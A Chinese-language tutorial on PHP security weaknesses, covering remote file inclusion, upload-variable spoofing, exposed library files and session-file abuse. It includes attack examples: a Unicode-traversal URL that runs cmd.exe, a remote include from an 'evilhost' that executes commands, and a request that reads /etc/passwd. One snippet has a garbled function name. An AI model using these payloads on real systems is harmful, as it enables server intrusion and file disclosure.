想起大牛們說過的一句話， 網絡沒有永遠的安全， 隨著PHP的廣泛運用， 被大家廣泛使用的PHP編程語言也一樣不是固若金湯， 一些黑客們也在無時不想找PHP的麻煩， 通過PHP程序漏洞進行攻擊就是其中一種， 比如， 全局變量， 遠程文件， 文件上載， 庫文件， Session文件， 數據類型和容易出錯的函數等等， PHP本身特性決定著他也不是一定安全的， 下面我們就這幾個方面給大家分析下， 了解PHP的安全性。

如何通過遠程文件進行攻擊？

PHP是一種具有豐富特性的語言， 提供了大量的函數， 使編程者很容易實現特定功能。 但是從安全的角度來看， 功能越多， 要保證它的安全性就越難， 遠程文件就佐證這個問題的一個很好例子：

PHP代碼

<?php  

if (!($fd = fopen("$filename", "r"))  

echo("Could not open file: $filename＜BR＞\n");  

?>    

　　上面的腳本試圖打開文件"$filename"， 如果失敗就顯示錯誤信息。 很明顯， 如果我們能夠指定"$filename"的話， 就能利用這個腳本瀏覽系統中的任何文件。 但是， 這個腳本還存在一個不太明顯的特性， 那就是它可以從任何其它WEB或FTP站點讀取文件。 實際上， PHP的大多數文件處理函數對遠程文件的處理是透明的。

例如：

如果指定"$filename"為 "http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"

則上面的代碼實際上是利用主機target上的unicode漏洞， 執行了dir命令。 這使得支持遠程文件的include()， require()， include_once()和require_once()在上下文環境中變得更有趣。 這些函數主要功能是包含指定文件的內容， 并且把它們按照PHP代碼解釋， 主要是用在庫文件上。

例如：

PHP代碼

<?php  

include($libdir . "/languages.php");  

?>  

　　上例中"$libdir"一般是一個在執行代碼前已經設置好的路徑， 如果攻擊者能夠使得"$libdir"沒有被設置的話， 那么他就可以改變這個路徑。 但是攻擊者并不能做任何事情， 因為他們只能在他們指定的路徑中訪問文件languages.php（perl中的"Poisonnull byte"攻擊對PHP沒有作用）。 但是由于有了對遠程文件的支持， 攻擊者就可以做任何事情。 例如， 攻擊者可以在某臺服務器上放一個文件languages.php， 包含如下內容：

PHP代碼

<?php  

passthru("/bin/ls /etc");  

?>  

　　然后把"$libdir"設置為"http://＜evilhost＞/"， 這樣我們就可以在目標主機上執行上面的攻擊代碼， "/etc"目錄的內容將作為結果返回到客戶的瀏覽器中。

需要注意的是， 攻擊代碼是不會在自身所在的服務器（也就是evilhost）上執行執行自身PHP程序的， 否則， 攻擊代碼會攻擊自身所在的服務器， 而不是在目標服務器執行。

如何通過文件上載進行攻擊？

PHP自動支持基于RFC 1867的文件上載， 我們看下面的例子：

PHP代碼

<FORM METHOD="POST" ENCTYPE="multipart/form-data">  

<INPUT TYPE="FILE" NAME="hello">  

<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">  

<INPUT TYPE="SUBMIT">  

</FORM>    

　　上面的代碼讓用戶從本地機器選擇一個文件， 當點擊提交后， 文件就會被上載到服務器。 這顯然是很有用的功能， 但是PHP的響應方式將使這項功能變得不安全。 當PHP第一次接到這種請求， 甚至在它開始解析被調用的PHP代碼之前， 它會先接受遠程用戶的文件， 檢查文件的長度是否超過"$MAX_FILE_SIZE variable"定義的值， 如果通過這些測試的話， 文件就會被存在本地的一個臨時目錄中。

因此， 攻擊者可以發送任意文件給運行PHP的主機， 在PHP程序還沒有決定是否接受文件上載時， 文件已經被存在服務器上了。

讓我們考慮一下處理文件上載的PHP程序， 正如我們上面說的， 文件被接收并且是存在服務器上（位置是在配置文件中指定的， 一般是/tmp）， 擴展名一般是隨機的， 類似"phpxXuoXG"的形式。 PHP程序需要上載文件的信息以便處理它， 這可以通過兩種方式， 一種方式是在PHP3中已經使用的， 另一種是在我們對以前的方法提出安全公告后引入的。

大多數PHP程序還是使用老的方式來處理上載文件。 PHP設置了四個全局變量來描述上載文件， 比如說上面的例子：

PHP代碼

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")  

$hello_size = Size in bytes of file (e.g 1024)  

$hello_name = The original name of the file on the remote system (e.g"c:\\temp\\hello.txt")  

$hello_type = Mime type of uploaded file (e.g "text/plain")    

　　然后， PHP程序開始處理根據"$hello"指定的文件。 問題在于"$hello"不一定是一個PHP設置的變量， 任何遠程用戶都可以指定它。 如果我們使用下面的方式：

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt 

就導致了下面的PHP全局變量（當然POST方式也可以（甚至是Cookie））：

PHP代碼

$hello = "/etc/passwd"  

$hello_size = 10240  

$hello_type = "text/plain"  

$hello_name = "hello.txt"    

　　上面的表單數據正好滿足了PHP程序所期望的變量， 但是這時PHP程序不再處理本應在上載者本機上的上載文件， 而是處理服務器上"/etc/passwd"（通常會導致內容暴露）文件。 這種攻擊可以用于暴露任何敏感文件的內容。

新版本的PHP使用HTTP_POST_FILES[]來決定上載文件， 同時也提供了很多函數來解決這個問題， 例如有一個函數用來判斷某個文件是不是實際上載的文件。 但是實際上肯定有很多PHP程序仍然使用舊的方法， 所以也很容易受到這種攻擊。

作為文件上載的攻擊方法的一個變種， 我們看一下下面的一段代碼：

PHP代碼

<?php  

if (file_exists($theme)) // Checks the file exists on the local system (noremote files)  

include("$theme");  

?>   

　　如果攻擊者可以控制"$theme"的話， 很顯然它可以利用"$theme"來讀取遠程系統上的任何文件。 攻擊者的最終目標是在遠程服務器上執行任意指令， 但是他無法使用遠程文件， 因此， 他必須得在遠程服務器上創建一個PHP文件。 這乍看起來好象是不可能的， 但是文件上載幫了我們這個忙， 如果攻擊者先在本地機器上創建一個包含PHP代碼的文件， 然后創建一個包含名為"theme"的文件域的表單， 最后用這個表單通過文件上載把創建的包含PHP代碼的文件提交給上面的代碼， PHP就會把攻擊者提交的文件保存起來， 并把"$theme"的值設置為攻擊者提交的文件， 這樣file_exists()函數會檢查通過， 攻擊者的代碼也將執行。

獲得執行任意指令的能力之后， 攻擊者顯然想提升權限或者是擴大戰果， 而這又需要一些服務器上沒有的工具集， 而文件上載又一次幫了攻擊者的忙。 攻擊者可以使用文件上載功能上載工具， 把她們存在服務器上， 然后利用他們執行指令的能力， 使用chmod()改變文件的權限， 然后執行。 例如：攻擊者可以繞過防火墻或IDS上載一個本地root攻擊程序， 然后執行， 這樣就獲得了root權限。

如何通過庫文件進行攻擊？

正如我們前面討論的那樣， include()和require()主要是為了支持代碼庫， 因為我們一般是把一些經常使用的函數放到一個獨立的文件中， 這個獨立的文件就是代碼庫， 當需要使用其中的函數時， 我們只要把這個代碼庫包含到當前的文件中就可以了。

最初， 人們開發和發布PHP程序的時候， 為了區別代碼庫和主程序代碼， 一般是為代碼庫文件設置一個".inc"的擴展名， 但是他們很快發現這是一個錯誤， 因為這樣的文件無法被PHP解釋器正確解析為PHP代碼。 如果我們直接請求服務器上的這種文件時， 我們就會得到該文件的源代碼， 這是因為當把PHP作為Apache的模塊使用時， PHP解釋器是根據文件的擴展名來決定是否解析為PHP代碼的。 擴展名是站點管理員指定的， 一般是".php"， ".php3"和".php4"。 如果重要的配置數據被包含在沒有合適的擴展名的PHP文件中， 那么遠程攻擊者很容易得到這些信息。

最簡單的解決方法就是：給每個文件都指定一個PHP文件的擴展名， 這樣可以很好的防止泄露源代碼的問題， 但是又產生了新的問題， 通過請求這個文件， 攻擊者可能使本該在上下文環境中運行的代碼獨立運行， 這可能導致前面討論的全部攻擊。

下面是一個很明顯的例子：

PHP代碼

In main.php:   

<?php   

$libDir = "/libdir";   

$langDir = "$libdir/languages";   

...   

include("$libdir/loadlanguage.php":   

?>   

In libdir/loadlanguage.php:   

<?php   

...   

include("$langDir/$userLang");   

?>    

　　當"libdir/loadlanguage.php"被"main.php"調用時是相當安全的， 但是因為"libdir/loadlanguage"具有".php"的擴展名， 因此遠程攻擊者可以直接請求這個文件， 并且可以任意指定"$langDir"和"$userLang"的值。

如何通過Session文件進行攻擊？

PHP 4或更新的版本提供了對sessions的支持， 它的主要作用是在PHP程序中保存頁與頁之間的狀態信息。 例如， 當一個用戶登陸進入網站， 他登陸了的這個事實以及誰登陸進入這個網站的相關信息都將被保存在session中， 當他在網站中到處瀏覽時， 所有的PHP代碼都可以獲得這些狀態信息。

事實上， 當一個session啟動時（實際上是在配置文件中設置為在第一次請求時自動啟動）， 就會生成一個隨機的"session id"， 如果遠程瀏覽器總是在發送請求時提交這個"session id"的話， session就會一直保持。 這通過Cookie很容易實現， 也可以通過在每頁提交一個表單變量（包含"session id"）來實現。 PHP程序可以用session注冊一個特殊的變量， 它的值會在每個PHP腳本結束后存在session文件中， 也會在每個PHP腳本開始前加載到變量中。 下面是一個簡單的例子：

PHP代碼

<?php   

session_destroy(); // Kill any data currently in the session   

$session_auth = "shaun";   

session_register("session_auth"); // Register $session_auth as a session variable   

?>    

新版本的PHP都會自動把"$session_auth"的值設置為"shaun"， 如果它們被修改的話， 以后的腳本都會自動接受修改后的值， 這對無狀態的Web來說的確是種很不錯的工具， 但是我們也應該小心。

一個很明顯的問題就是確保變量的確來自session， 例如， 給定上面的代碼， 如果后續的腳本是下面這樣的話：

PHP代碼

<?php   

if (!emptyempty($session_auth))   

// Grant access to site here   

?>  

　　上面的代碼假定如果"$session_auth"被賦值的話， 就是從session， 而不是從用戶輸入來賦值的， 如果攻擊者通過表單輸入來賦值的話， 他就可以獲得對站點的訪問權。 注意攻擊者必須在session注冊該變量之前使用這種攻擊方法， 一旦變量被放進了session， 就會覆蓋任何表單輸入。

Session數據一般是保存在文件中（位置是可配置的， 一般是"/tmp"）， 文件名一般是類似"sess_<session id>"的形式， 這個文件包含變量名稱， 變量類型， 變量值和一些其它的數據。 在多主機系統中， 因為文件是以運行Web服務器的用戶身份（一般是nobody）保存的， 因此惡意的站點擁有者就可以通過創建一個session文件來獲得對其它站點的訪問， 甚至可以檢查session文件中的敏感信息。

Session機制也為攻擊者把自己的輸入保存在遠程系統的文件中提供了另一個方便。 對于上面的例子來說， 攻擊者需要在遠程系統放置一個包含PHP代碼的文件， 如果不能利用文件上載做到的話， 他通常會利用session為一個變量按照自己的意愿賦一個值， 然后猜測session文件的位置， 而他知道文件名是"php<session id>"， 所以只需猜測目錄， 而目錄一般就是"/tmp"。

另外， 攻擊者可以任意指定"session id"（例如"hello"）， 然后用這個"session id"創建一個session文件（例如"/tmp/sess_hello"）， 但是"session id"只能是字母和數字組合。